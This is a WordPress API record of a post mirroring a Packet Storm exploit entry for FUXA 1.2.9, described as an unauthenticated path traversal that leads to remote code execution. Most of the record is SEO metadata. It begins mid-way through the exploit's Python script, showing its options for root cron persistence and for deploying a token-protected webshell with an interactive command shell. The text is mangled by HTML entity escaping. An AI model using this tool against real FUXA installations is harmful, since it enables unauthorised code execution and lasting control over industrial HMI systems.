\\&#8221;(default: \/etc\/cron.d\/fuxa-health)\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;cron-schedule\\&#8221;, default=\\&#8221;* * * * *\\&#8221;,\\n                       help=\\&#8221;Cron schedule expression, five fields \\&#8221;\\n                            \\&#8221;(default: &#8216;* * * * *&#8217; = every minute)\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;cron-user\\&#8221;, default=None,\\n                       help=\\&#8221;User field for \/etc\/cron.d\/* and \/etc\/crontab \\&#8221;\\n                            \\&#8221;(auto-inferred as &#8216;root&#8217; for those paths). \\&#8221;\\n                            \\&#8221;Pass &#8221; (empty) to force omission for user-crontab \\&#8221;\\n                            \\&#8221;format.\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;cron-cmd\\&#8221;, default=None,\\n                       help=\\&#8221;Command cron will execute (required for mode=cron). \\&#8221;\\n                            \\&#8221;Will be passed to \/bin\/sh via the cron line.\\&#8221;)\\n    \\n        # mode=webshell + mode=webshell-exec\\n        p.add_argument(\\&#8221;&#8211;ws-port\\&#8221;, type=int, default=31337,\\n                       help=\\&#8221;TCP port the in-process webshell listener will bind \\&#8221;\\n                            \\&#8221;on the target. Must be free, firewall-reachable \\&#8221;\\n                            \\&#8221;from the operator, and distinct from FUXA&#8217;s UI \\&#8221;\\n                            \\&#8221;port (default: 31337).\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;ws-path\\&#8221;, default=None,\\n                       help=\\&#8221;URL path the webshell listens on. Anything else \\&#8221;\\n                            \\&#8221;returns 404. Default: random 24-hex-char path \\&#8221;\\n                            \\&#8221;printed after deployment.\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;ws-token\\&#8221;, default=None,\\n                       help=\\&#8221;Auth token required on every request (X-Auth-Token \\&#8221;\\n                            \\&#8221;header or ?t= query). Default: random 24-byte \\&#8221;\\n                            \\&#8221;urlsafe token printed after deployment.\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;ws-host\\&#8221;, default=None,\\n                       help=\\&#8221;Host to connect to for mode=webshell-exec \/ \\&#8221;\\n                            \\&#8221;&#8211;interact. Defaults to the host portion of &#8211;url.\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;ws-tls\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\n                       help=\\&#8221;Use https:\/\/ when talking to the webshell endpoint \\&#8221;\\n                            \\&#8221;(the embedded listener is plain HTTP by default).\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;ws-cmd\\&#8221;, default=None,\\n                       help=\\&#8221;Single command to execute via mode=webshell-exec \\&#8221;\\n                            \\&#8221;(mutually exclusive with &#8211;interact).\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;interact\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\n                       help=\\&#8221;After deploying (mode=webshell) or connecting \\&#8221;\\n                            \\&#8221;(mode=webshell-exec), enter an interactive REPL \\&#8221;\\n                            \\&#8221;that ships commands to the in-process listener \\&#8221;\\n                            \\&#8221;and prints stdout\/stderr.\\&#8221;)\\n    \\n        return p.parse_args(argv)\\n    \\n    \\n    def main(argv: Optional[list[str]] = None) -\\u003e int:\\n        args = parse_args(argv if argv is not None else sys.argv[1:])\\n        try:\\n            return run(args)\\n        except KeyboardInterrupt:\\n            print(\\&#8221;\\\\n[!] Interrupted.\\&#8221;, flush=True)\\n            return 130\\n    \\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        raise SystemExit(main())&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/221750&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/221750\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-21T16:30:21&#8243;,&#8221;description&#8221;:&#8221;FUXA versions 1.2.9 and below suffers from an unauthenticated path traversal vulnerability that leads to arbitrary file write that enables remote code execution&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-21T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-21T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 FUXA 1.2.9&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-56106","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 FUXA 1.2.9 Remote Code Execution_PACKETSTORM:221750 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=56106\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 FUXA 1.2.9 Remote Code Execution_PACKETSTORM:221750 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-21T16:30:21&#8243;,&#8221;description&#8221;:&#8221;FUXA versions 1.2.9 and below suffers from an unauthenticated path traversal vulnerability that leads to arbitrary file write that enables remote code execution&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-21T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-21T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 FUXA 1.2.9...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=56106\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-21T11:33:12+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"51 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56106#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56106\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 FUXA 1.2.9 Remote Code Execution_PACKETSTORM:221750\",\"datePublished\":\"2026-05-21T11:33:12+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56106\"},\"wordCount\":10263,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=56106#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56106\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56106\",\"name\":\"\ud83d\udcc4 FUXA 1.2.9 Remote Code Execution_PACKETSTORM:221750 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-21T11:33:12+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56106#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=56106\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56106#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 FUXA 1.2.9 Remote Code Execution_PACKETSTORM:221750\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 FUXA 1.2.9 Remote Code Execution_PACKETSTORM:221750 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=56106","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 FUXA 1.2.9 Remote Code Execution_PACKETSTORM:221750 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-21T16:30:21&#8243;,&#8221;description&#8221;:&#8221;FUXA versions 1.2.9 and below suffers from an unauthenticated path traversal vulnerability that leads to arbitrary file write that enables remote code execution&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-21T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-21T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 FUXA 1.2.9...","og_url":"https:\/\/zero.redgem.net\/?p=56106","og_site_name":"zero redgem","article_published_time":"2026-05-21T11:33:12+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"51 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=56106#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=56106"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 FUXA 1.2.9 Remote Code Execution_PACKETSTORM:221750","datePublished":"2026-05-21T11:33:12+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=56106"},"wordCount":10263,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=56106#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=56106","url":"https:\/\/zero.redgem.net\/?p=56106","name":"\ud83d\udcc4 FUXA 1.2.9 Remote Code Execution_PACKETSTORM:221750 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-21T11:33:12+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=56106#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=56106"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=56106#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 FUXA 1.2.9 Remote Code Execution_PACKETSTORM:221750"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/56106","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=56106"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/56106\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=56106"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=56106"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=56106"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}